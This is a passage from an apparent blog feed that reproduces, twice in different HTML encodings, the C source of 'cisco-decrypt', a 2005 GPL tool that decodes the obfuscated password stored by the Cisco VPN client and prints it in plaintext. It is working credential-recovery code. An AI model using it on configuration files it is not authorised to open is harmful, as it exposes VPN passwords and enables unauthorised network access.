&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;l &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; i;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; ((l &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; EINVAL;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;l &lt;span style=&#34;color:#f92672&#34;&gt;/=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; malloc(l);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (p &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; NULL)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; ENOMEM;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; l; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;p[i] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hex2bin_c(str[i&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;]) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; hex2bin_c(str[i&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;bin &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; p;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (len)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; l;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; c_decrypt(char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;ct, &lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; len, char &lt;span style=&#34;color:#f92672&#34;&gt;**&lt;/span&gt;resp, char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;reslenp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;h1  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;h4  &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;enc &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ct &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], h2[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], h3[&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;], key[&lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;iv &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; h1;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;res;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_hd_t ctx;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; reslen;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (len &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;48&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;len &lt;span style=&#34;color:#f92672&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;40&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(ht, h1, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;19&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, h2, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ht[&lt;span style=&#34;color:#ae81ff&#34;&gt;19&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, h3, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(key, h2, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;memcpy(key&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;, h3, &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/*&lt;/span&gt; who cares about parity anyway&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_md_hash_buffer(GCRY_MD_SHA1, ht, enc, len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (memcmp(h4, ht, &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;res &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; malloc(len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (res &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; NULL)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_open(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ctx, GCRY_CIPHER_3DES, GCRY_CIPHER_MODE_CBC, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_setkey(ctx, key, &lt;span style=&#34;color:#ae81ff&#34;&gt;24&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_setiv(ctx, iv, &lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_decrypt(ctx, (unsigned char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)res, len, (unsigned char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)enc, len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_cipher_close(ctx);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reslen &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; len &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; res[len&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;res[reslen] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\0&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (resp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;resp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; res;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (reslenp)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;reslenp &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; reslen;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; argc, char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;argv[])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;int&lt;/span&gt; i, len, ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;char &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;bin, &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;pw;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gcry_check_version(NULL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;; i &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; argc; i&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hex2bin(argv[i], &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;bin, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;perror(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;decoding input&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; c_decrypt(bin, len, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;pw, NULL);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free(bin);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;perror(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;decrypting input&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;continue&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;printf(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, pw);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;free(pw);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;exit(ret &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Download: cisco&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;decrypt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#f92672">/*</span> Decoder <span style="color:#66d9ef">for</span> password encoding of Cisco VPN client<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>Copyright (C) <span style="color:#ae81ff">2005</span> Maurice Massar
</span></span><span style="display:flex;"><span>Thanks to HAL<span style="color:#f92672">-</span><span style="color:#ae81ff">9000</span><span style="color:#960050;background-color:#1e0010">@</span>evilscientists<span style="color:#f92672">.</span>de <span style="color:#66d9ef">for</span> decoding <span style="color:#f92672">and</span> posting the algorithm<span style="color:#f92672">!</span>This program is free software; you can redistribute it <span style="color:#f92672">and</span><span style="color:#f92672">/</span><span style="color:#f92672">or</span> modify
</span></span><span style="display:flex;"><span>it under the terms of the GNU General Public License as published by
</span></span><span style="display:flex;"><span>the Free Software Foundation; either version <span style="color:#ae81ff">2</span> of the License, <span style="color:#f92672">or</span>
</span></span><span style="display:flex;"><span>(at your option) any later version<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>This program is distributed <span style="color:#f92672">in</span> the hope that it will be useful,
</span></span><span style="display:flex;"><span>but WITHOUT ANY WARRANTY; without even the implied warranty of
</span></span><span style="display:flex;"><span>MERCHANTABILITY <span style="color:#f92672">or</span> FITNESS FOR A PARTICULAR PURPOSE<span style="color:#f92672">.</span>  See the
</span></span><span style="display:flex;"><span>GNU General Public License <span style="color:#66d9ef">for</span> more details<span style="color:#f92672">.</span>
</span></span><span style="display:flex;"><span>You should have received a copy of the GNU General Public License
</span></span><span style="display:flex;"><span>along with this program; <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span>, write to the Free Software
</span></span><span style="display:flex;"><span>Foundation, Inc<span style="color:#f92672">.</span>, <span style="color:#ae81ff">59</span> Temple Place, Suite <span style="color:#ae81ff">330</span>, Boston, MA  <span style="color:#ae81ff">02111</span><span style="color:#f92672">-</span><span style="color:#ae81ff">1307</span>  USA
</span></span><span style="display:flex;"><span><span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">/*</span>
</span></span><span style="display:flex;"><span>Requires libgcrypt version <span style="color:#ae81ff">1.1</span><span style="color:#f92672">.</span><span style="color:#ae81ff">90</span> <span style="color:#f92672">or</span> newer
</span></span><span style="display:flex;"><span>Compile with:
</span></span><span style="display:flex;"><span>gcc <span style="color:#f92672">-</span>Wall <span style="color:#f92672">-</span>o cisco<span style="color:#f92672">-</span>decrypt cisco<span style="color:#f92672">-</span>decrypt<span style="color:#f92672">.</span>c <span style="color:#f92672">$</span>(libgcrypt<span style="color:#f92672">-</span>config <span style="color:#f92672">--</span>libs <span style="color:#f92672">--</span>cflags)
</span></span><span style="display:flex;"><span>Usage:
</span></span><span style="display:flex;"><span><span style="color:#f92672">./</span>cisco<span style="color:#f92672">-</span>decrypt DEADBEEF<span style="color:#f92672">...</span><span style="color:#ae81ff">012345678</span> <span style="color:#ae81ff">424242.</span><span style="color:#f92672">..</span><span style="color:#ae81ff">7261</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">*/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;stdio.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;stdlib.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;gcrypt.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include &lt;errno.h&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> hex2bin_c(unsigned <span style="color:#a6e22e">int</span> c)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;0&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;9&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;0&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;A&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;F&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;A&#39;</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((c <span style="color:#f92672">&gt;=</span> <span style="color:#e6db74">&#39;a&#39;</span>)<span style="color:#f92672">&amp;&amp;</span>(c <span style="color:#f92672">&lt;=</span> <span style="color:#e6db74">&#39;f&#39;</span>))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> c <span style="color:#f92672">-</span> <span style="color:#e6db74">&#39;a&#39;</span> <span style="color:#f92672">+</span> <span style="color:#ae81ff">10</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> hex2bin(<span style="color:#66d9ef">const</span> char <span style="color:#f92672">*</span>str, char <span style="color:#f92672">**</span>bin, <span style="color:#a6e22e">int</span> <span style="color:#f92672">*</span>len)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>char <span style="color:#f92672">*</span>p;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">int</span> i, l;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>bin)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; str[i] <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\0</span><span style="color:#e6db74">&#39;</span>; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (hex2bin_c(str[i]) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span>l <span style="color:#f92672">=</span> i;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> ((l <span style="color:#f92672">&amp;</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> EINVAL;
</span></span><span style="display:flex;"><span>l <span style="color:#f92672">/=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span>p <span style="color:#f92672">=</span> malloc(l);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (p <span style="color:#f92672">==</span> NULL)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> ENOMEM;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672">&lt;</span> l; i<span style="color:#f92672">++</span>)
</span></span><span style="display:flex;"><span>p[i] <span style="color:#f92672">=</span> hex2bin_c(str[i<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span>]) <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">4</span> <span style="color:#f92672">|</span> hex2bin_c(str[i<span style="color:#f92672">*</span><span style="color:#ae81ff">2</span><span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]);
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>bin <span style="color:#f92672">=</span> p;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (len)
</span></span><span style="display:flex;"><span><span style="color:#f92672">*</span>len <span style="color:#f92672">=</span> l;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
